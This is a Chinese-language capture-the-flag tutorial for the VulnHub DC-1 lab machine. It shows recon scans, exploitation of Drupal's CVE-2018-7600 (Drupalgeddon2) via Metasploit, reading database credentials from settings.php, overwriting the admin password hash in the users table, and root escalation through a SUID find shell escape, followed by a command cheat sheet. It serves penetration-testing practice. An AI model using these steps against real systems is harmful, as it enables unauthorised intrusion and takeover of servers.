VulnHub靶机之dc-1
字数 1492 2025-08-10 20:35:57

DC-1 靶机渗透测试详细教程

一、信息收集阶段

1. Nmap 扫描

快速扫描命令

nmap -T4 -F <靶机IP>

深度扫描命令

nmap -sV -sC -O -p- <靶机IP>

关键扫描结果分析

  • Web服务器版本信息
  • CMS平台类型和版本(Drupal 7)
  • 开放端口和服务
  • 可能的敏感信息文件

2. 敏感目录扫描

常用工具

  • dirb
  • dirbuster
  • gobuster

扫描命令示例

gobuster dir -u http://<靶机IP> -w /path/to/wordlist.txt

重点关注

  • 管理后台路径
  • 配置文件路径
  • 版本信息文件
  • 备份文件

3. 网页源码分析

检查点

  • HTML注释中的敏感信息
  • JavaScript文件中的路径
  • 表单提交的目标地址
  • 隐藏字段

二、威胁建模

Drupal CMS 漏洞分析

已知漏洞

  • Drupal 6,7,8 多个子版本存在远程代码执行漏洞(2018年3月28日公布)
  • CVE编号:CVE-2018-7600(Drupalgeddon2)

漏洞利用方式

  1. 使用Metasploit框架
  2. 使用公开的exploit脚本

三、渗透测试实施

1. 初始攻击

Metasploit利用步骤

msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS <靶机IP>
set TARGETURI /
exploit

成功标志

  • 获得meterpreter会话
  • 建立反向连接

2. 系统信息收集

关键命令

whoami          # 查看当前用户
uname -a        # 查看内核版本
find / -perm -4000 -type f 2>/dev/null  # 查找SUID文件

3. 查找flag和敏感文件

Drupal目录结构

/sites/default/settings.php    # 主配置文件
/sites/default/default.settings.php
/scripts/                      # 脚本目录

查找flag顺序

  1. 网站根目录下的flag1
  2. settings.php中的flag2和数据库凭据
  3. 数据库中的flag3
  4. 其他目录中的flag4

4. 数据库操作

访问MySQL数据库

mysql -u<用户名> -p<密码> <数据库名>

关键表

  • users表:存储用户凭据
  • node表:存储内容

密码重置方法
使用Drupal自带的脚本:

php scripts/password-hash.sh <新密码>

然后在数据库中更新users表:

UPDATE users SET pass='<哈希后的密码>' WHERE uid=1;

5. 权限提升

SUID提权方法

find / -perm -4000 -type f 2>/dev/null

常用SUID提权二进制

  • find
  • vim
  • bash
  • nmap
  • more/less

使用find提权

touch /tmp/exploit
find /tmp/exploit -exec "/bin/sh" \;

四、难点与解决方案

  1. 脚本选择问题

    • 优先使用Metasploit中的模块
    • 测试多个公开exploit脚本
  2. 目录结构不熟悉

    • 查阅Drupal官方文档
    • 使用资源共享获取信息
  3. 密码破解受阻

    • 尝试使用CMS自带脚本重置密码
    • 不依赖在线解密工具
  4. 提权命令不熟悉

    • 研究SUID权限机制
    • 练习常见提权方法

五、总结与收获

  1. 敏感性培养

    • 重视Nmap扫描结果的每个细节
    • CMS版本信息是关键突破口
  2. 渗透思路扩展

    • CMS漏洞利用标准化流程
    • 从Web到系统的完整攻击链
  3. 技术手段掌握

    • Metasploit模块使用
    • CMS密码重置方法
    • SUID提权技术
  4. 方法论总结

    信息收集 → 漏洞识别 → 初始入侵 → 横向移动 → 权限提升 → 目标达成
    

附录:常用命令速查表

用途 命令
快速扫描 nmap -T4 -F <IP>
全面扫描 nmap -sV -sC -O -p- <IP>
目录扫描 gobuster dir -u http://<IP> -w wordlist.txt
Drupal漏洞利用 use exploit/unix/webapp/drupal_drupalgeddon2
查找SUID文件 find / -perm -4000 -type f 2>/dev/null
密码哈希生成 php scripts/password-hash.sh <password>
数据库更新密码 UPDATE users SET pass='<hash>' WHERE uid=1;
find提权 find /tmp/exploit -exec "/bin/sh" \;
DC-1 靶机渗透测试详细教程 一、信息收集阶段 1. Nmap 扫描 快速扫描命令 : 深度扫描命令 : 关键扫描结果分析 : Web服务器版本信息 CMS平台类型和版本(Drupal 7) 开放端口和服务 可能的敏感信息文件 2. 敏感目录扫描 常用工具 : dirb dirbuster gobuster 扫描命令示例 : 重点关注 : 管理后台路径 配置文件路径 版本信息文件 备份文件 3. 网页源码分析 检查点 : HTML注释中的敏感信息 JavaScript文件中的路径 表单提交的目标地址 隐藏字段 二、威胁建模 Drupal CMS 漏洞分析 已知漏洞 : Drupal 6,7,8 多个子版本存在远程代码执行漏洞(2018年3月28日公布) CVE编号:CVE-2018-7600(Drupalgeddon2) 漏洞利用方式 : 使用Metasploit框架 使用公开的exploit脚本 三、渗透测试实施 1. 初始攻击 Metasploit利用步骤 : 成功标志 : 获得meterpreter会话 建立反向连接 2. 系统信息收集 关键命令 : 3. 查找flag和敏感文件 Drupal目录结构 : 查找flag顺序 : 网站根目录下的flag1 settings.php中的flag2和数据库凭据 数据库中的flag3 其他目录中的flag4 4. 数据库操作 访问MySQL数据库 : 关键表 : users表:存储用户凭据 node表:存储内容 密码重置方法 : 使用Drupal自带的脚本: 然后在数据库中更新users表: 5. 权限提升 SUID提权方法 : 常用SUID提权二进制 : find vim bash nmap more/less 使用find提权 : 四、难点与解决方案 脚本选择问题 : 优先使用Metasploit中的模块 测试多个公开exploit脚本 目录结构不熟悉 : 查阅Drupal官方文档 使用资源共享获取信息 密码破解受阻 : 尝试使用CMS自带脚本重置密码 不依赖在线解密工具 提权命令不熟悉 : 研究SUID权限机制 练习常见提权方法 五、总结与收获 敏感性培养 : 重视Nmap扫描结果的每个细节 CMS版本信息是关键突破口 渗透思路扩展 : CMS漏洞利用标准化流程 从Web到系统的完整攻击链 技术手段掌握 : Metasploit模块使用 CMS密码重置方法 SUID提权技术 方法论总结 : 附录:常用命令速查表 | 用途 | 命令 | |------|------| | 快速扫描 | nmap -T4 -F <IP> | | 全面扫描 | nmap -sV -sC -O -p- <IP> | | 目录扫描 | gobuster dir -u http://<IP> -w wordlist.txt | | Drupal漏洞利用 | use exploit/unix/webapp/drupal_drupalgeddon2 | | 查找SUID文件 | find / -perm -4000 -type f 2>/dev/null | | 密码哈希生成 | php scripts/password-hash.sh <password> | | 数据库更新密码 | UPDATE users SET pass='<hash>' WHERE uid=1; | | find提权 | find /tmp/exploit -exec "/bin/sh" \; |